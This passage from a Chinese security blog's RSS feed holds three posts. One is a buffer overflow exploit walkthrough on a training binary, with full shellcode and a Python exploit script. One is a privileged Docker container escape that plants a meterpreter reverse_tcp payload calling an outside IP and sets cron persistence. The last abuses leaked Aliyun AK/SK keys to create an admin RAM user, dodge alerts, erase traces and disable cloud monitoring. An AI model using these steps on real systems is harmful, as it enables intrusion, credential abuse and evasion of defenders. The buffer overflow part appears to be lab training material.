<p style=""><span style="font-size: 15px; color: rgb(63, 63, 63)">缓冲区溢出的原因是程序中没有仔细检查用户输入的参数，通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。简单可以理解为程序固定了一个用户可输入的长度，用户输入超过这个长度程序就因为吃得太撑了爆炸了。</span></p>
<h4 style="" id="0x02-%E5%87%86%E5%A4%87%E5%B7%A5%E5%85%B7"><span style="font-size: 15px; color: rgb(63, 63, 63)">0x02 准备工具</span></h4>
<p style="">1、Windows系统</p>
<p style="text-align: justify">2、OD</p>
<p style="text-align: justify">3、IDA</p>
<p style="text-align: justify">4、Immunity&nbsp;Debuggeer</p>
<p style="text-align: justify">5、Mona</p>
<p style="text-align: justify">6、Kali</p>
<p style="text-align: justify">7、存在缓冲区漏洞的exe文件</p>
<p style="text-align: justify">(<span fontsize="" color="rgb(5, 99, 193)" style="color: rgb(5, 99, 193)"><u><hyperlink-inline-card target="_blank" href="https://github.com/justinsteven/dostackbufferoverflowgood" theme="inline"><a href="https://github.com/justinsteven/dostackbufferoverflowgood" target="_blank">https://github.com/justinsteven/dostackbufferoverflowgood</a></hyperlink-inline-card></u></span>)</p>
<h4 style="" id="0x03-%E5%BC%80%E5%A7%8B%E5%A4%8D%E7%8E%B0">0x03 开始复现</h4>
<p style="">看看这玩意什么样子</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F2b5068e78b3d12bb736677bfc5755c9.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F850bb9a9fdabffbcdeed71b407797e5.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">打开，好像是监听连接啥的，先扔到IDA看一看是干啥的。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F0b5ad567b871aec8af97457a0610bf0.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">打开了有点看不懂，这是干啥的？其实左边目录就是程序运行步骤，直接F5干进去进入主程序。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F6803b66199e3fc92d00b0fe270b8b9b.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看着像一个socket连接，不管了，直接扔给ChatGPT，让这玩意解释下。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fc6209482a4f336197412781a4a765f6.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F8406a168013a3b1b74a94499452a332.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">哦？那就开始找这个端口。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F0bda24d8bc13b30f6bc8bfe4ec2a0dc.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">找到端口了，端口为31337，看来是打开软件在本地起一个监听服务，那就用kali虚拟机链接下，先ipconfig获取本地ip，再用nc进行连接。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F8ee850ab82c55b3602c8706587275c7.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">连上来了，我们的目的是找缓冲区溢出漏洞，先整一堆字符看软件会不会挂。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F699a68bc2a2952ecd8fc998a4fe2e15.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看来是挂了，不知道是不是这个漏洞导致的，返回IDA接着往下看。点击左边的_handleConnection，然后F5查看代码。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F4bad74b024851bf850c327c69cf7926.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1e94d1fdb6f7814743c008a77ec1795.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">找到了，<span style="font-size: 16px; color: rgba(0, 0, 0, 0.9)">缓冲区大小为58623。</span></p>
<p style=""><span style="font-size: 16px; color: rgba(0, 0, 0, 0.9)"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F6e6ba95c978aed844407ed721773cb9.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></span></p>
<p style="">启动OD，加载程序，步进到程序运行的地方，我们在kali中开始nc并发送一堆A，然后程序抛出异常，且EBP和EIP已经全部变成了41414141，那么很显然这个时候通过缓冲区溢出EBP和EIP已经成功被我们使用AAAA给覆盖了，&nbsp;"41414141" 是十六进制表示的 ASCII 字符串 "AAAA"。也就是说我们可以通过缓冲区溢出来覆盖栈上的数据。那这样就确定为是漏洞了。</p>
<p style="">通俗来讲就是在缓冲区溢出攻击中，当输入的数据超出了缓冲区的容量并覆盖了其他变量或数据时，如果覆盖的内容正好是指针或地址，那么这个指针或地址将被误解为下一条将要执行的指令地址。因此，当输入的内容为 "AAAAAAAA" 或 "41414141" 时，它们可以被错误地解释为存储在 EIP（Extended Instruction Pointer）中的地址值，导致执行流程被劫持到这个地址处执行，可能触发崩溃或执行意外的代码。</p>
<p style="text-align: justify">成功溢出，但是那一大段A都是Ctrl+C&nbsp;Ctrl+V扔进去的，并不记得一共有多少,所以等下只能让kali来找偏移量了。</p>
<p style="text-align: justify">那么接下来使用Immunity Debugger配合Mona来分析然后构造shellcode</p>
<p style="text-align: justify">运行程序,并在Immunity Debugger中把程序拉进去。记得要安装Mona插件，网上有教程。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F3f62297650f5ada9346dbb9e81a318b.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify"><span style="font-size: 16px; color: rgba(0, 0, 0, 0.9)">使用!mona&nbsp;modules看下这程序存不存在保护机制。</span></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F29569e886773732e9f7fbe136fbeb43.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify"><span style="font-size: 16px; color: rgba(0, 0, 0, 0.9)">主程序实际上只开启了SafeSeh，先不用管，先计算一下偏移量。</span></p>
<pre><code class="language-shell">Kali msf-pattern_create -l 20000 </code></pre>
<p style="text-align: justify">生成20000个规律字符，然后发送给服务端的指定端口，你可以使用nc发送也可以使用socket连接并发送数据。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Ff822318ba3c12be020523bca5e91794.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify">生成成功。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fd621d9162f515986742732c8f8f8c4e.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify">debug程序让它跑起来，然后再输入进去。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F788186c3c24aa4b4fc1404043633627.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify">输入刚才生成的脏数据，程序现在已经挂了回到ID查看EIP。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F84d25de12a5769a564a4fffa7439a90.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify">EIP为<span style="font-size: 14px; color: rgb(51, 51, 51)">39654138，接下来用kali计算。</span></p>
<pre><code>msf-pattern_offset -l 20000 -q 39654138</code></pre>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F7f02bfe473272334f977fffb6c33b93.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify">偏移量为146。</p>
<p style="text-align: justify">原理就是先生成20000个字符用于发送至服务端，然后根据溢出时EIP被覆盖的数据用来计算一共被覆盖了多少位，显示结果为146，说明覆盖EIP地址的是第146个字符后面的字符，接下来就可以控制EIP的地址，需要让他跳转到我们的shellcode。</p>
<p style="text-align: justify">那么在此之前,我想用字符去确认一下偏移量是否准确,我们使用146个A,然后再使用4个B,看下EIP被覆盖的情况。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fb49d6bc6491ede7ee18bd025cab3af6.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify">生成146个A，再添加四个B。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F751933dcb24322335828cf7952404ba.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fadc96abba22149b00c4c7b4579ec3cd.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify"><span style="font-size: 16px; color: rgba(0, 0, 0, 0.9)">程序异常,EIP被覆盖为了42424242,也就是对应BBBB。</span></p>
<p style="text-align: justify">偏移量计算准确，开始尝试做构造shellcode前的一个环节之一，也就是查找坏字符，虽然我们输入的内容会被转换为16进制的值，但是也并非它能接受任何值，比如说通用的坏字符例如“\x00”。</p>
<p style="text-align: justify">然后我们寻找JMP ESP，查看可以让我们插入shellcode的地方。</p>
<p style="text-align: justify">直接!mona jmp -r esp就可以，结果如下。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1d643e6aca117a92e918b9b53645d90.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<pre><code>0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000

0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, CFG: False, OS: False, v-1.0- (C:\Users\MHJ\Downloads\dostackbufferoverflowgood-master\dostackbufferoverflowgood.exe), 0x8000</code></pre>
<p style="">那么至于可不可用，就需要构造shellcode来试试其可用性了。</p>
<p style="text-align: justify">使用</p>
<pre><code>msfvenom -p windows/exec CMD="C:\windows\system32\calc.exe" -b '\x00\x0d' -f python -v code</code></pre>
<p style="text-align: justify">那么分析完毕后我们使用win10 x64环境,使用kali生成x64的shellcode。</p>
<p style="text-align: justify">生成弹窗计算器并且排除掉坏字符。</p>
<p style="text-align: justify"><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F344af00ec2dc1a6769da6828d531178.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-align: justify">那么生成shellcode后，我们就需要构造payload了。</p>
<pre><code>Payload=字符填充+JMP ESP+nop+shellcode</code></pre>
<p style="text-align: justify">字符填充也就是偏移量的146个A，JMP ESP就是我们!mona jmp -r esp后显示的两个可以JMP ESP的地址，但是栈是先进后出的顺序，所以0x080414c3就需要反着来，就要写成\c3\14\04\08也就是\xc3\x14\x04\x08，0x080416bf就需要写成\bf\16\04\08也就是\xbf\x16\x04\x08。</p>
<p style="text-align: justify">那么python代码如下：</p>
<pre><code>import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('172.30.193.125',31337))

tc="A"*146eip="\xc3\x14\x04\x08"nop="\x90"*16

code =  b""code += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\xab\xd9\x08\xbc\x5b"code += b"\x29\xc9\xb1\x36\x31\x43\x18\x83\xeb\xfc\x03\x43"code += b"\xbf\x3b\xfd\x40\x57\x39\xfe\xb8\xa7\x5e\x76\x5d"code += b"\x96\x5e\xec\x15\x88\x6e\x66\x7b\x24\x04\x2a\x68"code += b"\xbf\x68\xe3\x9f\x08\xc6\xd5\xae\x89\x7b\x25\xb0"code += b"\x09\x86\x7a\x12\x30\x49\x8f\x53\x75\xb4\x62\x01"code += b"\x2e\xb2\xd1\xb6\x5b\x8e\xe9\x3d\x17\x1e\x6a\xa1"code += b"\xef\x21\x5b\x74\x64\x78\x7b\x76\xa9\xf0\x32\x60"code += b"\xae\x3d\x8c\x1b\x04\xc9\x0f\xca\x55\x32\xa3\x33"code += b"\x5a\xc1\xbd\x74\x5c\x3a\xc8\x8c\x9f\xc7\xcb\x4a"code += b"\xe2\x13\x59\x49\x44\xd7\xf9\xb5\x75\x34\x9f\x3e"code += b"\x79\xf1\xeb\x19\x9d\x04\x3f\x12\x99\x8d\xbe\xf5"code += b"\x28\xd5\xe4\xd1\x71\x8d\x85\x40\xdf\x60\xb9\x93"code += b"\x80\xdd\x1f\xdf\x2c\x09\x12\x82\x3a\xcc\xa0\xb8"code += b"\x08\xce\xba\xc2\x3c\xa7\x8b\x49\xd3\xb0\x13\x98"code += b"\x90\x4f\x5e\x81\xb0\xc7\x07\x53\x81\x85\xb7\x89"code += b"\xc5\xb3\x3b\x38\xb5\x47\x23\x49\xb0\x0c\xe3\xa1"code += b"\xc8\x1d\x86\xc5\x7f\x1d\x83\x85\x45\xbd\x5b\x63"code += b"\xd7\x59\xcb\x04\x54\xfe\x60\x92\xe9\x8a\xe3\x09"code += b"\x3e\x41\xb0\xb2\x21\xc9\x2b\x1b\xc4\x69\xc9\x63"



s.send(tc+eip+nop+code+'\r\n')s.recv(1024)</code></pre>
<p style="text-align: justify">Kali运行。</p>
<pre><code>python2 payload.py</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F3acc972a1bc5efdd41482aaed6e2c1d.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">成功弹出计算器。</p>
<h4 style="" id="0x04-%E5%BC%95%E7%94%A8%E6%96%87%E7%AB%A0">0x04 引用文章</h4>
<ul>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://mp.weixin.qq.com/s/k7Dc-zfgP03MxYK4kkptww" theme="inline"><a href="https://mp.weixin.qq.com/s/k7Dc-zfgP03MxYK4kkptww" target="_blank">https://mp.weixin.qq.com/s/k7Dc-zfgP03MxYK4kkptww</a></hyperlink-inline-card></p>
 </li>
 <li>
  <p style=""><hyperlink-inline-card target="_blank" href="https://zhuanlan.zhihu.com/p/387321917" theme="inline"><a href="https://zhuanlan.zhihu.com/p/387321917" target="_blank">https://zhuanlan.zhihu.com/p/387321917</a></hyperlink-inline-card></p>
 </li>
 <li>
  <p style=""><span fontsize="" color="rgb(5, 99, 193)" style="color: rgb(5, 99, 193)"><hyperlink-inline-card target="_blank" href="https://developer.aliyun.com/article/1115336" theme="inline"><a href="https://developer.aliyun.com/article/1115336" target="_blank">https://developer.aliyun.com/article/1115336</a></hyperlink-inline-card></span></p>
 </li>
</ul>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/019b8d69-5258-7498-9016-4cf6da0c1788</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fidayichu.png&amp;size=m" type="image/jpeg" length="617238"/><category>网络安全</category><pubDate>Sun, 11 Jun 2023 09:45:00 GMT</pubDate></item><item><title><![CDATA[记录一次内网docker逃逸]]></title><link>http://gowninng.cn/archives/c58c22a7-4ae6-47ff-a9b8-5901c6d15898</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E8%AE%B0%E5%BD%95%E4%B8%80%E6%AC%A1%E5%86%85%E7%BD%91docker%E9%80%83%E9%80%B8&amp;url=/archives/c58c22a7-4ae6-47ff-a9b8-5901c6d15898" width="1" height="1" alt="" style="opacity:0;">
<h2 style="" id="privileged-%E7%89%B9%E6%9D%83%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8%E5%AE%B9%E5%99%A8"><strong>privileged 特权模式启动容器</strong></h2>
<h4 style="" id="1%E3%80%81%E5%90%AF%E5%8A%A8%E7%89%B9%E6%9D%83%E5%AE%B9%E5%99%A8"><strong>1、启动特权容器</strong></h4>
<pre><code class="language-js">docker run -it --privileged ubuntu:18.04  </code></pre>
<figure data-content-type="image" data-position="center" style="display: flex; flex-direction: column; align-items: center">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F652d83de2777784354d267c7bee86160.png&amp;size=m" alt="652d83de2777784354d267c7bee86160.png" width="1540px" data-position="center">
</figure>
<h4 style="" id="2%E3%80%81%E6%8C%82%E5%9C%A8%E5%AE%BF%E4%B8%BB%E6%9C%BA%E7%9B%AE%E5%BD%95"><strong>2、挂在宿主机目录</strong></h4>
<pre><code>fdisk -l  </code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F93b9e1108f99deede13d2fe6be8916c7.png&amp;size=m" alt="93b9e1108f99deede13d2fe6be8916c7.png" width="1846px" data-position="left">
</figure>
<p style="">可以直接挂载宿主机的磁盘</p>
<pre><code>mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/  </code></pre>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F3ffc0d3cdbb5b29eda4475c885405e2d.png&amp;size=m" alt="3ffc0d3cdbb5b29eda4475c885405e2d.png" width="792px" data-position="left">
</figure>
<p style="">查看宿主机的/etc/passwd</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F4f1b7311019912a6744cea0fb91f1650.png&amp;size=m" alt="4f1b7311019912a6744cea0fb91f1650.png" data-position="left">
</figure>
<p style="">查看root目录</p>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F331dc9b3373ac653e1837e4d1a624cb7.png&amp;size=m" alt="331dc9b3373ac653e1837e4d1a624cb7.png" width="1398px" data-position="left">
</figure>
<figure data-content-type="image" data-position="left" style="display: flex; flex-direction: column; align-items: start">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F72c3808a9943fa71159b8f8140612bb8.png&amp;size=m" alt="72c3808a9943fa71159b8f8140612bb8.png" width="2444px" data-position="left">
</figure>
<p style="">Tips： chroot命令 chroot命令 用来在指定的根目录下运行指令。chroot，即 change root directory （更改 root 目录）。在 linux 系统中，系统默认的目录结构都是以/，即是以根 (root) 开始的。而在使用 chroot 之后，系统的目录结构将以指定的位置作为/位置。 把根目录换成指定的目的目录。</p>
<p style="">授予木马权限：</p>
<pre><code>chmod +x /uzju/root/shell.elf</code></pre>
<p style="">MSF 监听上线：</p>
<pre><code>msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=3333 -f elf &gt; shell.elf</code></pre>
<p style="">逃逸：</p>
<pre><code>chmod +x /uzju/root/shell.elf</code></pre>
<p style="">写入定时任务：</p>
<pre><code>echo '*/1   root /root/shell.elf' &gt;&gt; /uzju/etc/crontab</code></pre>
<p style="">之后可执行上线</p>]]></description><guid isPermaLink="false">/archives/c58c22a7-4ae6-47ff-a9b8-5901c6d15898</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fdockertaoyi.png&amp;size=m" type="image/jpeg" length="444623"/><category>网络安全</category><pubDate>Sun, 21 May 2023 04:40:00 GMT</pubDate></item><item><title><![CDATA[阿里云AK/SK通过RAM用户访问凭证]]></title><link>http://gowninng.cn/archives/019b8d6a-8388-756f-9fa2-de8ff0e6c57c</link><description><![CDATA[<img src="http://gowninng.cn/plugins/feed/assets/telemetry.gif?title=%E9%98%BF%E9%87%8C%E4%BA%91AK%2FSK%E9%80%9A%E8%BF%87RAM%E7%94%A8%E6%88%B7%E8%AE%BF%E9%97%AE%E5%87%AD%E8%AF%81&amp;url=/archives/019b8d6a-8388-756f-9fa2-de8ff0e6c57c" width="1" height="1" alt="" style="opacity:0;">
<p style="">之前挖漏洞挖到的阿里云ak和sk经常用cf来登录，但是现在用cf登录的话阿里云容易告警，应该是云厂商研究了cf的特征。现在用cf登录的话会直接紧急告警，所以在我面前有两种方法可选择，一是修改cf特征(二开)，二是使用RAM用户登录，告警会降低级别，不会出现紧急告警的情况。</p>
<p style="">首先我用自己的阿里云账户创建一个云存储，生成ak和sk，然后调用RAM，具体文档在这里
 <br>
 <hyperlink-inline-card target="_blank" href="https://help.aliyun.com/zh/ram/user-guide/overview-of-ram-users" theme="inline"><a href="https://help.aliyun.com/zh/ram/user-guide/overview-of-ram-users" target="_blank">https://help.aliyun.com/zh/ram/user-guide/overview-of-ram-users</a></hyperlink-inline-card>
 <br>
 这个文档的操作都是在控制台进行的，渗透过程中只有AK和SK，登录不了控制台，但是有一个工具可以实现创建RAM用户，那就是阿里云CIL，可以在官方文档中自行下载。</p>
<p style="">全指令查询 <code>aliyun ram</code></p>
<p style="">安装好后，打开工具窗口，输入版本命令，查看工具当前版本。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1.png&amp;size=m" alt="1.png" width="100%" height="100%">
</figure>
<p style="">输入<code>aliyun configure</code>，然后再输入得到的ak，sk和云服务所在地区，登陆成功会显示阿里云的LOGO。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F2.png&amp;size=m" alt="2.png" width="100%" height="100%">
</figure>
<p style="">创建RAM账号，<code>aliyun ram CreateUser --UserName gowninng</code></p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118111231.png&amp;size=m" alt="20231118111231.png" width="100%" height="100%">
</figure>
<p style=""><code>aliyun ram CreateLoginProfile --UserName gowninng --Password 123456789</code> 其中CreateLoginProfile指令为给账户添加web控制台的权限。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118111418.png&amp;size=m" alt="20231118111418.png" width="100%" height="100%">
</figure>
<p style=""><code>aliyun ram ListUsers</code> 查看用户是否创建成功。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118111529.png&amp;size=m" alt="20231118111529.png" width="100%" height="100%">
</figure>
<p style=""><code>aliyun ram ListPolicies</code> 列出权限列表。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118111802.png&amp;size=m" alt="20231118111802.png" width="100%" height="100%">
</figure>
<pre><code>aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName gowninng
</code></pre>
<p style="">其中AttachPolicyToUser给用户加权限 。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F%25E5%25BE%25AE%25E4%25BF%25A1%25E5%259B%25BE%25E7%2589%2587_20231118112331.png&amp;size=m" alt="微信图片_20231118112331.png" width="100%" height="100%">
</figure>
<p style="">取消管理员权限 <code>aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName gowninng</code></p>
<p style="">删除用户 <code>aliyun ram DeleteUser --UserName gowninng</code></p>
<p style="">这样就不留痕迹了。</p>
<p style="">登录账号密码为 账号@别名，密码是自己设置的密码</p>
<p style=""><code>aliyun ram GetAccountAlias</code> 查询此账户的别名。</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118111101.png&amp;size=m" alt="20231118111101.png" width="100%" height="100%">
</figure>
<p style="">然后登陆</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118113228.png&amp;size=m" alt="20231118113228.png" width="100%" height="100%">
</figure>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118113254.png&amp;size=m" alt="20231118113254.png" width="100%" height="100%">
</figure>
<p style="">并没有告警</p>
<figure style="align-items: start; display: flex; flex-direction: column" data-content-type="image">
 <img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F20231118113354.png&amp;size=m" alt="20231118113354.png" width="100%" height="100%">
</figure>
<p style="">如果有告警的话就把云盾干了，记住要先把在云安全中心的所有的监控都都关闭。</p>
<p style="">思路来自RAM文档</p>]]></description><guid isPermaLink="false">/archives/019b8d6a-8388-756f-9fa2-de8ff0e6c57c</guid><dc:creator>GowNinng</dc:creator><enclosure url="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Faliyunaksk.png&amp;size=m" type="image/jpeg" length="326266"/><category>网络安全</category><pubDate>Fri, 18 Nov 2022 03:38:00 GMT</pubDate></item></channel></rss>